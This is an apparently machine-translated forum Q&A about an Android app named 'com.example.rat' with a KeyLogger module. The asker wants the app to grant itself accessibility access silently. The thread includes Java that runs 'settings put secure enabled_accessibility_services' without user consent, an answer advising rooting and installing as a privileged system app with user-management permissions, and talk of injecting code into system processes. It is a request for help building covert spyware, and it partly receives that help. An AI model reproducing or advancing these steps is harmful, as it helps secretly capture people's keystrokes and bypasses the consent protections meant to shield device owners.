Java 使我的应用程序能够自行获得访问权限

Java 使我的应用程序能够自行获得访问权限,java,android,process,android-security,android-accessibility,Java,Android,Process,Android Security,Android Accessibility,我正试图绕过Android安全性,让我的应用程序在不要求用户的情况下获得访问权限。 在StackOverflow中搜索,我发现这是可能的,通过使用InstrumentationRegistry,单击查看,但是该类现在已被弃用,因此我开始使用进程类并启动您可以在上面看到的方法: String packageName = "com.example.rat"; String serviceName = packageName+"/"+"rat.modules.KeyLogger"; String se

我正试图绕过Android安全性,让我的应用程序在不要求用户的情况下获得访问权限。
在StackOverflow中搜索,我发现这是可能的,通过使用
InstrumentationRegistry
,单击查看,但是该类现在已被弃用,因此我开始使用
进程
类并启动您可以在上面看到的方法:

String packageName = "com.example.rat";
String serviceName = packageName+"/"+"rat.modules.KeyLogger";
String service = "enabled_accessibility_services";
String cmd = "settings put secure "+service+" "+serviceName;
System.out.println("Command: "+cmd);
Scanner s = new Scanner(cmd);
s.useDelimiter(" ");
Process p = Runtime.getRuntime().exec(new String[]{s.next(),s.next(),s.next(),s.next(),s.next()});
String error = "";
String line = "";
BufferedReader br = new BufferedReader(new InputStreamReader(p.getErrorStream()));
while ((line = br.readLine()) != null) {
    error += line;
}
System.out.println("Response: "+error);
我从前面显示的代码中得到的错误如下:

安全异常:您需要管理用户或创建用户权限才能查询用户java.lang.SecurityException:您需要管理用户或创建用户权限才能查询com.android.server.pm.UserManagerService.CheckManagerCreateUserSubmission上的用户(UserManagerService.java:1854)在com.android.server.pm.UserManagerService.getUserInfo(UserManagerService.java:1039)在android.os.UserManager.getUserInfo(UserManager.java:1366)在com.android.providers.settings.SettingsService$MyShellCommand.onCommand(SettingsService.java:273)在android.os.ShellCommand.exec(ShellCommand.java:96)上android.os.Binder.shellCommand(Binder.java:581)上的com.android.providers.settings.SettingsService.onshell命令(SettingsService.java:51),android.os.Binder.execTransact(Binder.java:682)上的android.os.Binder.onTransact(Binder.java:481)


有没有办法绕过它?我对各种想法都持开放态度。

只有系统应用程序才能使用此权限。 如果您的手机已根目录,请将您的应用移动到/system/priv-app文件夹 您需要的权限是

<uses-permission android:name="android.permission.INTERACT_ACROSS_USERS" />



我给出的答案是+1(这可能会有帮助),但在我在问题中给出的链接中,有人说,如果您的应用程序不是系统应用程序,也可以这样做,我正在考虑在系统应用程序进程中打开OutputStream并通过它发送命令,这可能吗?不,不能这样做。我知道,我正在为一家公司编写系统应用程序。对于第二个例子,如果你有一个系统应用程序可以等待你的命令并执行它们,那就另当别论了。当然,每一个新的安卓版本都有很多变化。在较新的版本中,开发人员在很多方面受到限制。OK,我的第二个想法是通过intent启动一个系统应用程序,并在进程中注入代码,但我不知道这是否可能。这听起来像病毒活动:)我从不检查是否可以完成,但想想每个进程都有自己的受保护内存。所以这将导致内存保护故障。这就是我试图实现的,谢谢你的帮助,如果你有一些关于这个主题的新闻,请让我更新。
<uses-permission android:name="android.permission.MANAGE_USERS" />